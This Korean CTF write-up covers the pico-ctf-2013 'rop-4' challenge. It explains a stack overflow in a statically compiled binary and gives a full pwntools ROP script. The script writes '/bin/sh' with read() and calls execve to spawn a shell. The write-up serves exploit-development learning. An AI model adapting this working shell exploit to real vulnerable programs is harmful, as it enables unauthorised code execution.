ldd로 보면 동적실행 파일이 아니라고 한다.
즉 정적 컴파일된 바이너리라는 뜻이다.
문제 푸는데 오히려 더 쉬운 것 같다.
내부에 필요한 함수들이 전부 같이 컴파일이 되어있어서 안에 있는 함수 주소를 사용하면 됐다.
이전 문제들 처럼 취약한 함수가 있다.
똑같이 vulnerable_function()이 존재한다.
이 함수도 이전과 마찬가지로 사이즈는 0x88인데 0x200까지를 read할 수 있는 취약점이다.
여기서 ret를 조작하면 된다.
근데 이 문제는 정적 컴파일이기 때문에 plt와 got를 따로 구하지 않아도 내부에 있는 주소를 이용하면 된다.
필요한 가젯은 read()로 exec_string_addr이란 변수에 "/bin/sh" 문자열을 읽어들이고, execve함수로 해당 쉘 명령을 실행시키면 쉘을 얻을 수 있다.
from pwn import * p = process("./rop4") libc_read = 0x08053d20 pppr = 0x804859c pr = 0x80481ec exec_string_addr = 0x80f112c binsh = "/bin/sh" execve = 0x80ad110 payload = "A"*140 payload += p32(libc_read) payload += p32(pppr) payload += p32(0) payload += p32(exec_string_addr) payload += p32(len(binsh)) payload += p32(execve) payload += p32(pppr) payload += p32(exec_string_addr) payload += p32(0) payload += p32(0) p.sendline(payload) p.sendline(binsh) p.interactive()
'CTF' 카테고리의 다른 글
CodeGate 2014 angry_doraemon (0) | 2018.07.20 |
---|---|
CodeGate 2017 babypwn (1) | 2018.07.18 |
pico-ctf-2013 rop-3 (0) | 2018.07.14 |
pico-ctf-2013 rop-2 (0) | 2018.07.14 |
pico-ctf-2013 rop-1 (0) | 2018.07.14 |